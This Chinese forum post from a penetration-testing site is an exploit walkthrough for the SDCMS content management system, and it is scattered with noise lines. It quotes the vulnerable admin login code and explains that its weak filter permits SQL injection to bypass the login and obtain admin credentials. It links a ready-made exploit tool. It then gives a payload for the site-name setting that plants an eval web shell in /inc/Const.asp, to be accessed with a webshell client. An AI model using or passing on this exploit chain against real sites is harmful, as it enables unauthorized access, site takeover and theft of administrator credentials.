中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
" O R: t( k8 ^+ v
漏洞文件:后台目录/index.asp
$ e0 }0 n9 ^( _% ?* ^7 B; ?5 p
: G7 M# I3 O# Q0 H
Sub Check
' s6 Y. H0 E/ Q* t
Dim username,password,code,getcode,Rs
$ s" t, i) j7 C2 s5 g8 z8 i/ q
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
" m5 L2 B9 t' h/ v
username=FilterText(Trim(Request.Form("username")),1)
# W( e# s$ d3 w* E& c9 ~3 ~
password=FilterText(Trim(Request.Form("password")),1)
: m. j' p3 u% P. F+ D
code=Trim(Request.Form("yzm"))
) b! v: z' o9 Q3 Q, y3 N" d
getcode=Session("SDCMSCode")
* S1 `4 L) v# z2 {& x) i$ o! H; I
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
9 F" h0 r6 e0 H2 E
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
. ^: d7 G+ [* Q, p: N) ?% G% v$ ?, E
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
; ]) z& L1 Q* A" c
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
o9 `( F+ O/ B0 K) M+ s) T
IF username="" or password="" Then
' i( p5 L& M( Q9 `$ `% p; I
Echo "用户名或密码不能为空"
ied
+ b, x) z8 l: W( t5 H/ W
Else
; f3 S' X% L9 w: i# V2 n
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
& Z7 c4 }$ V/ w6 w* i: U
IF Rs.Eof Then
9 Y! r" m: h8 W+ x1 v0 {" A
AddLog username,GetIp,"登录失败",1
( Y7 I9 T( s5 X# w0 |# p
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
9 x' O* S \$ _5 j
Else
- X4 [# j6 L! ^4 @4 ~$ e
Add_Cookies "sdcms_id",Rs(0)
' a$ Q9 F$ A6 l7 E! u
Add_Cookies "sdcms_name",username
$ }3 q6 c9 x% Z
Add_Cookies "sdcms_pwd",Rs(2)
% F. U9 H: Q( R" b% U. A; B
Add_Cookies "sdcms_admin",Rs(3)
! E" r, s/ Q, v$ R. Z. Q
Add_Cookies "sdcms_alllever",Rs(4)
$ J3 m. T% M: ^
Add_Cookies "sdcms_infolever",Rs(5)
8 f6 |% o j8 W2 l7 C5 W
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
# A/ O- H7 G( u; Y* P9 ^4 _9 T# ^0 {- f6 R
AddLog username,GetIp,"登录成功",1
# _+ N8 l& n4 t1 y/ E
'自动删除30天前的Log记录
& L8 ]5 M9 E4 O* Z# z& z
IF Sdcms_DataType Then
3 a+ ]. N1 k+ y% D
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
1 ?" U. ~$ B5 M/ k2 P& j) S) f9 v
Else
6 J& t. X; l1 f/ g; h7 f( i
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
0 Q* E$ w$ }0 ~
End IF
3 N8 ]& R& f4 U" b
Go("sdcms_index.asp")
1 m, R0 O2 H: V" C7 B
End IF
: }. K# k) t5 M4 V$ i! {
Rs.Close
9 a. ] H( c8 e! b% e3 u
Set Rs=Nothing
8 \! v* a& a& q% [6 k( k, O
End IF
- q$ h7 V/ ~* z" T+ w. b
End Sub
0 y3 N$ I( E: l
: w5 E! e% ]& f4 T" v# q) y
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
( y, a! x: w" N5 ~
c/ ~) B9 n/ u' v% C
Function FilterText(ByVal t0,ByVal t1)
) Z: Y4 ?1 j$ ^
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
, J2 A8 F9 F; J$ g t
t0=Trim(t0)
' O5 v$ P/ w m$ S8 G1 d# O8 j
Select Case t1
5 m6 w# Z% c1 p6 R0 h" N L
Case "1"
' I4 R3 s6 G0 n a) ]% R5 D
t0=Replace(t0,Chr(32),"")
" \- R# s% G' X" h% X& D. F
t0=Replace(t0,Chr(13),"")
+ {8 F9 e4 { q" U9 L
t0=Replace(t0,Chr(10)&Chr(10),"")
2 t" v6 `0 W7 y* ?* p- c) H
t0=Replace(t0,Chr(10),"")
9 _4 ?3 C& q. u
Case "2"
4 b2 u( T+ P1 q% I* f* g+ Z
t0=Replace(t0,Chr(8),"")'回格
# X2 @! ~+ t# @5 b" r4 B" Z9 e2 a3 }
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
+ F2 m# ^# ?# O
t0=Replace(t0,Chr(10),"")'换行
9 J+ S' n3 {* P& u) \
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
. X8 O/ e' g% K$ k$ v
t0=Replace(t0,Chr(12),"")'换页
6 Y2 o S; r* K. f. t, w6 r2 E
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* `6 c9 J* I o: t- m" x: {
t0=Replace(t0,Chr(22),"")
w8 [5 k3 Y- J ]( z
t0=Replace(t0,Chr(32),"")'空格 SPACE
7 O; j5 u: l7 e: u( C
t0=Replace(t0,Chr(33),"")'!
3 a- N3 |0 f( T9 ~) J# {
t0=Replace(t0,Chr(34),"")'"
: N" `5 f" _0 p" |
t0=Replace(t0,Chr(35),"")'#
: S `- M8 z d0 [6 K
t0=Replace(t0,Chr(36),"")'$
6 n( q( L5 q, q. C
t0=Replace(t0,Chr(37),"")'%
7 I, J; ?( J2 ] A8 `2 K
t0=Replace(t0,Chr(38),"")'&
/ [6 h6 F7 X" N
t0=Replace(t0,Chr(39),"")''
% v' S4 R9 x9 S) h' t% D0 k
t0=Replace(t0,Chr(40),"")'(
$ h7 |1 r: N7 w) a; K- s
t0=Replace(t0,Chr(41),"")')
( C$ D5 ]8 Y& E
t0=Replace(t0,Chr(42),"")'*
8 L+ p3 u/ S/ I+ n: q0 M; ~8 N
t0=Replace(t0,Chr(43),"")'+
# [1 x7 t& A. L8 c- D+ D
t0=Replace(t0,Chr(44),"")',
, I6 t7 {8 T5 l& w
t0=Replace(t0,Chr(45),"")'-
# i* _$ [6 Q# w. d. {: M3 ]. \
t0=Replace(t0,Chr(46),"")'.
@$ J3 X+ s% x$ w
t0=Replace(t0,Chr(47),"")'/
) N- B4 H6 b8 k4 a5 H) `. G
t0=Replace(t0,Chr(58),"")':
, U0 n2 |; P1 w; X* x
t0=Replace(t0,Chr(59),"")';
! v4 U' `. A- }4 ]' S
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
* b2 L2 f! f4 u2 Y
t0=Replace(t0,Chr(63),"")'?
+ g* a0 l+ A2 N! ?; R. D
t0=Replace(t0,Chr(64),"")'@
! M+ G z5 U$ R1 r
t0=Replace(t0,Chr(91),"")'\
4 j: q4 S' K* a8 d; M
t0=Replace(t0,Chr(92),"")'\
0 J# p5 K3 H; J
t0=Replace(t0,Chr(93),"")']
- C$ R* C b( [$ T
t0=Replace(t0,Chr(94),"")'^
( [, V0 @/ k+ H7 ?5 ^7 E
t0=Replace(t0,Chr(95),"")'_
6 [- l6 I4 [3 q7 n& E; x; T; b7 D
t0=Replace(t0,Chr(96),"")'`
1 R8 g; O9 e" _( l* X
t0=Replace(t0,Chr(123),"")'{
; k# m9 n5 N5 u9 [! `5 k, p
t0=Replace(t0,Chr(124),"")'|
( t1 i% ^1 c+ S1 ^. Y2 s
t0=Replace(t0,Chr(125),"")'}
+ r4 }+ }9 G& t3 N3 e
t0=Replace(t0,Chr(126),"")'~
( j2 U: W, ?' g
Case Else
7 l! A* [8 X; t* Z
t0=Replace(t0, "&", "&")
. ^1 v! V0 b' O" J5 Q( A
t0=Replace(t0, "'", "'")
2 K; M' l# o ^( T
t0=Replace(t0, """", """)
; @( h0 R v4 E4 D6 x1 [7 g' k
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
" p f0 {7 I7 c* a$ D6 E8 ^
End Select
" L3 s) n+ i6 w+ S: p- j
IF Instr(Lcase(t0),"expression")>0 Then
) z2 k1 v5 S, P& }% l* E) v7 ?
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
+ d [) K% [; B- T. g8 S0 f7 ]) U% t
End If
1 h1 ]9 J! ^9 J8 S# I7 T- C
FilterText=t0
9 T7 S9 @3 h3 f
End Function
" m; C; z4 C" Y9 a7 y* b
( F* p& a+ n" N' w" v; m6 M, X
看到没。直接参数是1 只过滤
$ p/ s* S* f9 F* C8 s. V! A N
t0=Replace(t0,Chr(32)," ")
' Z M) t# |/ K
t0=Replace(t0,Chr(13),"")
0 Y6 {# ~* F9 X
t0=Replace(t0,Chr(10)&Chr(10),"
7 Q( X0 ^7 w% E9 h
")
7 [: \# P/ a" f- ?. @5 L& e) W
t0=Replace(t0,Chr(10),"
' d' ]0 r/ G" s
")
+ b9 [2 T: s Y# A& u+ w: f
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
) a1 |( W: X2 Q2 M! J" z' u$ b
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
# J$ l! z2 K' N
& q5 p) I$ u$ F' N# D3 N9 v
测试:
3 ~# {. T$ {( t( n! g* A! r( g) C8 Z
9 C- m2 m/ y# I
9 d# I, T/ r+ V6 |9 b" n; @
现在输入工具上验证码,然后点OK
0 t% B- p& ^5 ~' }# o% ^1 Y
6 Q$ U9 w9 A) Z" }0 h
$ x% B; x6 f8 K6 [5 Z. R6 ~
看到我们直接进入后台管理界面了,呵呵!
/ l2 _) `: s H2 [7 h
( v, C# m( Y4 v9 j/ E
1 {' A- [7 m, f
+ y0 A( m5 s; r
这样直接进入后台了。。。。
; |- {) x# l+ Z5 ^/ C. [- `
8 h9 F( d5 E# H$ H0 W/ x
% F: x+ d) J1 P- w8 a0 F
% J1 H8 O& @+ L' m+ R
SDCMS提权:
- C, C1 x1 B: s+ `8 Y
2 _6 X; r9 y0 h7 U5 _
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
6 B, { ?# `9 [+ Y. p+ u0 x
% f% w; S3 {" I. I+ _
A, S1 M5 I$ |# ?9 ?) u. ~( y
# o p! X* K, S% o- x
OK,现在用菜刀连接下!
4 P) V/ W# e% K% H
8 Z; o: h6 j2 h8 W% |( [5 t; {
& L2 x) `! p$ [4 O
/ H, ^- C% j7 Z/ }* l
! V% W/ S* j+ w6 L8 T% K5 |
2 z2 X p9 Y% q; G3 s# d X6 i6 B
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2